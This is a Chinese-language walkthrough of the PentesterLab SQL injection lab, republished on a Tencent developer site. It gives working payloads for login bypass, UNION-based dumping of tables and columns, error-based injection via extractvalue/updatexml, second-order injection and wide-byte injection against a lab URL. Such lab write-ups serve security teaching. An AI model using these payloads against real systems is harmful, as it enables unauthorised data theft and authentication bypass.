PentesterLab-SQL injections

安全脉搏独家发文,如需转载,请先联系授权。

0x00 序言

开始之前,先贴上官方题目说明:

0x01 Example1

直接提交1'

未作任何过滤就直接拼接了,直接万能密码' or '1' = '1

0x02 Example2

输入1'发现报错

然后根据官方题目说明,知道这道题限制了只能返回一条结果

而万能密码1' or '1'='1永真,会返回所有结果,那么我们需要在语句最后加一句limit 0,1就可以了

0x03 Example3

看官方说明,第三题过滤了单引号,那么我们可以使用\来转义username后面第二个单引号,那么username第一个单引号就和password第一个单引号闭合了。

就像这样:

username='\' and password='

然后我们构造

username='\' and password='or 1=1#

0x04 Example4

页面url为:

http://ctf.d0g3.cn:6007/sqlinjection/example4/?req=username%3d%27hacker%27

url解码一下:

http://ctf.d0g3.cn:6007/sqlinjection/example4/?req=username='hacker'

我们在页面可以看到两列id和name

我们大概可以猜测,req是的值是表示通过什么查询,req=username就是表示通过name参数来查询用户,然后通过name=来查询用户。

然后我们试下req=id&id=1

可以看到查询成功了。

我们直接在后面加个or 1=1就可以查出所有用户,很明显应该没有做任何过滤。

然后我们查一下有几个字段:

order by 3#页面返回正常

order by 4#页面返回错误

确定字段数为3

然后我们看回显位

username='-1'union select 1,2,3#

可以看到这里有两个回显位,那么我们可以在回显位通过子查询来注出数据。

我们先查一下数据库:

http://ctf.d0g3.cn:6007/sqlinjection/example4/?req=username='-1' union select (select database()),2,3#

然后我们查一下数据库中有哪些表:

http://ctf.d0g3.cn:6007/sqlinjection/example4/?req=username='-1' union select (select group_concat(table_name) from information_schema.tables where table_schema = database()),2,3#

然后我们发现example4库中只有一个users表,然后查看一下user表的字段

http://ctf.d0g3.cn:6007/sqlinjection/example4/?req=username='-1' union select(select column_name from information_schema.columns where table_name="users" limit 0,1),2,3#

limit 0,1 字段是id

limit 1,1 字段是username

limit 2,1 字段是password

然后我们将users表的信息都爆出来:

然后这道题大概就这样了

0x05 Example5

先测试下1'

可以看出limit的参数是limit后面的值,在mysql中limit后面可以用union select,但是不能用order by

比如我们用order by会出现错误:

而使用union select,则可以爆出字段数为3,其中有两个回显位:

可以查下数据库:

其它的都和Example4差不多了。

0x06 Example6

先加个1'测试下:

发现是在group by后面拼接,group by后面也只能拼接union select

发现1和2是回显位,其余就参考前面的Example5了

0x07 Example7

先加个1'测试下

然后使用order by爆出了列数为3

然后使用and union select 1,2,3#

发现只出现了报错信息,没有出现回显位,那么猜测是报错注入:

extractvalue:

updatexml:

两种都可以注入。

0x08 Example8

这道题真的坑人......

这里有两个输入框,user和password,下面有个create user的按钮

随便输入几个数据提交测试一下:

我们可以看到,这就是一个创建用户的页面。

刚开始猜insert会不会存在注入,后面看了官方文档后才知道是二次注入。

然后我看到输入的内容有username会被直接显示出来,就猜想会不会存在xss

于是我输入了如下的表达式:

然后点击id查看,然后发现报错了,刚好爆出了查询的sql语句:

我们点击id的时候,后台执行的sql语句会通过username查询出改username密码的哈希值

但是我构造1'union select 1,2,3#的时候并没有出现回显位,这时候我们就以为使用union select行不通了,然而事实并不是这样的

当我们使用a'union select 1,2,3#的时候,成功出现回显位

那么原因是什么呢?其实原因很简单,因为union select是将前面语句和union select查询的结果和后面的查询结果合并为一个数据集然后返回,而这里因为前面已经创建了用户名为1的用户,因此使用union来查询的时候,可能已经查找成功了,而这里又只能显示一个用户名,所以union的结果就不能显示出来了。

但是我们还是有办法通过id=1来union 查询出数据,如下:

id=1' and 0=1 union select 1,2,3#

通过添加一个and 0=1使前面的式子永假就可以了,

获得了回显位,那么其它的就和前面一样的了。

0x09 Example9

直接提交1',没有任何报错信息

发现单引号被过滤,那么就应该想到宽字节注入

试一下:

1%df%27

看到错误信息,确实存在宽字节注入:

1%df%27 or 1=1%23

注意在url中#需要写其url编码%23

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180425G1CUR500?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码关注腾讯云开发者

领取腾讯云代金券